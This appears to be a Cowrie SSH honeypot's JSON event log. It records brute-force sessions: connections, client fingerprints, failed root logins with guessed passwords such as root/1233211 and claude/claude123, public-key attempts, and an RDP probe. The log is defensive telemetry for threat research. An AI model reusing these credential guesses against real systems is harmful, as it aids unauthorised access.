{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:25.750608Z","src_ip":"43.163.95.54","session":"243a6c22ad05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":48146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba5b3fb783e4","protocol":"ssh","message":"New connection: 103.82.132.16:48146 (10.17.0.5:22) [session: ba5b3fb783e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:44.312847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:44.321040Z","src_ip":"103.82.132.16","session":"ba5b3fb783e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:44.580986Z","src_ip":"103.82.132.16","session":"ba5b3fb783e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kikeunyw","message":"login attempt [root/kikeunyw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:45.361002Z","src_ip":"103.82.132.16","session":"ba5b3fb783e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:46.624965Z","src_ip":"103.82.132.16","session":"ba5b3fb783e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52132,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a541da40234","protocol":"ssh","message":"New connection: 176.32.39.21:52132 (10.17.0.5:22) [session: 3a541da40234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:56.286538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:56.290608Z","src_ip":"176.32.39.21","session":"3a541da40234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:56.410389Z","src_ip":"176.32.39.21","session":"3a541da40234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1233211","message":"login attempt [root/1233211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:56.767302Z","src_ip":"176.32.39.21","session":"3a541da40234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:57.890006Z","src_ip":"176.32.39.21","session":"3a541da40234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":44080,"dst_ip":"10.17.0.5","dst_port":22,"session":"333c223593e2","protocol":"ssh","message":"New connection: 193.37.70.224:44080 (10.17.0.5:22) [session: 333c223593e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:58.074750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:58.079624Z","src_ip":"193.37.70.224","session":"333c223593e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:58.176648Z","src_ip":"193.37.70.224","session":"333c223593e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321q","message":"login attempt [root/87654321q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:58.455740Z","src_ip":"193.37.70.224","session":"333c223593e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:39:59.551195Z","src_ip":"193.37.70.224","session":"333c223593e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":40702,"dst_ip":"159.203.135.109","dst_port":22,"session":"038deeb304d2","protocol":"ssh","message":"New connection: 124.156.196.131:40702 (159.203.135.109:22) [session: 038deeb304d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:14.113102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:14.118594Z","src_ip":"124.156.196.131","session":"038deeb304d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:14.365076Z","src_ip":"124.156.196.131","session":"038deeb304d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31052891da8","protocol":"ssh","message":"New connection: 103.27.238.116:33702 (10.17.0.5:22) [session: b31052891da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:15.061735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:15.066131Z","src_ip":"103.27.238.116","session":"b31052891da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:15.334079Z","src_ip":"103.27.238.116","session":"b31052891da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:15.382306Z","src_ip":"124.156.196.131","session":"038deeb304d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"delete","message":"login attempt [root/delete] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:16.138230Z","src_ip":"103.27.238.116","session":"b31052891da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:16.642564Z","src_ip":"124.156.196.131","session":"038deeb304d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:17.406608Z","src_ip":"103.27.238.116","session":"b31052891da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62642,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7b778265737","protocol":"ssh","message":"New connection: 152.42.212.128:62642 (10.17.0.5:22) [session: c7b778265737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:25.165363Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:25.170372Z","src_ip":"152.42.212.128","session":"c7b778265737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:25.174560Z","src_ip":"152.42.212.128","session":"c7b778265737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":47180,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a2c6468a38","protocol":"ssh","message":"New connection: 89.38.96.216:47180 (10.17.0.5:22) [session: 62a2c6468a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:42.889266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:42.893795Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:42.977081Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:cb:b0:30:28:51:34:97:83:ca:1d:bc:27:23:d9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBAVd0GwXZtxgLTNXsIg9pepi37tAagegN6NyOe+459NrbpYGlOw8xJmMS1vNuKfnMs5mq0DzqP1ccb+IwVJDlqAk2PRWHlteFnlIUaiwectB5qkQAdRUYZKLHjoQfPCTBGl8MOOcXYAAlPbFuS4DaVWnyfuJZkw2xyLtc7hNIpKoiaHWOpAuOJ4/vvil6NZ+F9Ghplrjzh86qyV8hrQXkEUddnQBX56X5hfmzycpYE/Wp+b27gQbo1SjvxYZS1rZ8LCi1yAr49V24EKYeiUBF9ISq1KFIVjVUWBpIXd1ZBKFsT9SI8keDPeirZKHkTGaunHzV+Vcx82bt32d7t+L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:cb:b0:30:28:51:34:97:83:ca:1d:bc:27:23:d9:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.372891Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:cb:b0:30:28:51:34:97:83:ca:1d:bc:27:23:d9:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBAVd0GwXZtxgLTNXsIg9pepi37tAagegN6NyOe+459NrbpYGlOw8xJmMS1vNuKfnMs5mq0DzqP1ccb+IwVJDlqAk2PRWHlteFnlIUaiwectB5qkQAdRUYZKLHjoQfPCTBGl8MOOcXYAAlPbFuS4DaVWnyfuJZkw2xyLtc7hNIpKoiaHWOpAuOJ4/vvil6NZ+F9Ghplrjzh86qyV8hrQXkEUddnQBX56X5hfmzycpYE/Wp+b27gQbo1SjvxYZS1rZ8LCi1yAr49V24EKYeiUBF9ISq1KFIVjVUWBpIXd1ZBKFsT9SI8keDPeirZKHkTGaunHzV+Vcx82bt32d7t+L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.382644Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:e8:c4:c6:63:10:48:71:be:8f:fb:85:9b:7e:f5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0uWlwGZp3WH4qjKOy4ZH9vjJcjdvr5BnwJESgXo5OazqzHvOxZIACzZQ48zlc50ORPKFXKl244ruclHzbh0Gyp1bHfxTZZCQSCfm0qytGlz3URl4wLnClqtjIWVYQd4WsQiNS0h+8OnWsy6/MxLq1y+84fBK2+DingM0FJzDQe/eYUnkMsM9WTFBOobLMiJ9ZOFMfPRIfPA4z+T5udOikpPElN+PLxe65eR5dfDmQLrjYMn1uuyR9L33ttsdGd5VFgxSxV+ceK4s633imIk6J5qWHjcpf+mhrTMeZF7D20LyLCDpGIMfivNjT59doPD4y5wDfMfqbMwxzvBol7VKfbExLGTJUMPkZhM/rUd3NxqiiI6JYd+UAcr105YdsHIgZB6n11r5fhYh2asdRLE/m+ThHBeOLeQSRakxLUod/VJBuUGFBEqcVFS61AYO6qtF2Ks3YOc8PUVowH6oiCrTHtrXIDfHUsYMJs0CW7d4kX+mcuBiMQicIdRjkYUrA6Lh0TwGlhBtyXTJov2YmWvTSWJemEWOZsBOUg1e3UVNih1t+NsytR1qC5UisDugr0hVx/TGJdvnA1jm4jKQCxKMAShhnrq9I7D7ncMjRrhuISqTU3RdY2BGPhuJ1P6rU8EErNJfQ8Eg8Q/+wvTamFH0X+5OlBCHmqG2w/hoiut63Vw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:e8:c4:c6:63:10:48:71:be:8f:fb:85:9b:7e:f5:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.468792Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:e8:c4:c6:63:10:48:71:be:8f:fb:85:9b:7e:f5:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD0uWlwGZp3WH4qjKOy4ZH9vjJcjdvr5BnwJESgXo5OazqzHvOxZIACzZQ48zlc50ORPKFXKl244ruclHzbh0Gyp1bHfxTZZCQSCfm0qytGlz3URl4wLnClqtjIWVYQd4WsQiNS0h+8OnWsy6/MxLq1y+84fBK2+DingM0FJzDQe/eYUnkMsM9WTFBOobLMiJ9ZOFMfPRIfPA4z+T5udOikpPElN+PLxe65eR5dfDmQLrjYMn1uuyR9L33ttsdGd5VFgxSxV+ceK4s633imIk6J5qWHjcpf+mhrTMeZF7D20LyLCDpGIMfivNjT59doPD4y5wDfMfqbMwxzvBol7VKfbExLGTJUMPkZhM/rUd3NxqiiI6JYd+UAcr105YdsHIgZB6n11r5fhYh2asdRLE/m+ThHBeOLeQSRakxLUod/VJBuUGFBEqcVFS61AYO6qtF2Ks3YOc8PUVowH6oiCrTHtrXIDfHUsYMJs0CW7d4kX+mcuBiMQicIdRjkYUrA6Lh0TwGlhBtyXTJov2YmWvTSWJemEWOZsBOUg1e3UVNih1t+NsytR1qC5UisDugr0hVx/TGJdvnA1jm4jKQCxKMAShhnrq9I7D7ncMjRrhuISqTU3RdY2BGPhuJ1P6rU8EErNJfQ8Eg8Q/+wvTamFH0X+5OlBCHmqG2w/hoiut63Vw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.473261Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:0f:63:85:c3:13:af:a4:9f:6a:08:ed:60:72:e6:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyVLBQA7oQDweeJij/yn/8ZiFyJP3lJKpcLm1IS+GBiYxEoUUCAGIDWlOyHxPKM9XSI8NkeA5GVFtZUSDAKsPyxQQemYX9WNR9ut7r/BFhD91rzqRBBsDyLtqrmKkBSmhTPB4swIZPWJ6h/UML7Bs/w7bI0YAj4eFTcqblDeEP7iI7eQIUL2QeZszGqtt5MV26cLQ1SOgEMpOQr7QyFGwcbwq+c/IuL8gh0yF/EZsOqIWexMnyWnbR0YZhyfn3Qy1CA/H3AlJcsX3Ja4+9OBBgCOa4SVPM27mOOfktSTQyOcC33G+lSVH+Xn29/jCRRo2q/TvANuOzV7lt/DACxyCvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:0f:63:85:c3:13:af:a4:9f:6a:08:ed:60:72:e6:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:40:43.559805Z","src_ip":"89.38.96.216","session":"62a2c6468a38","protocol":"ssh"}
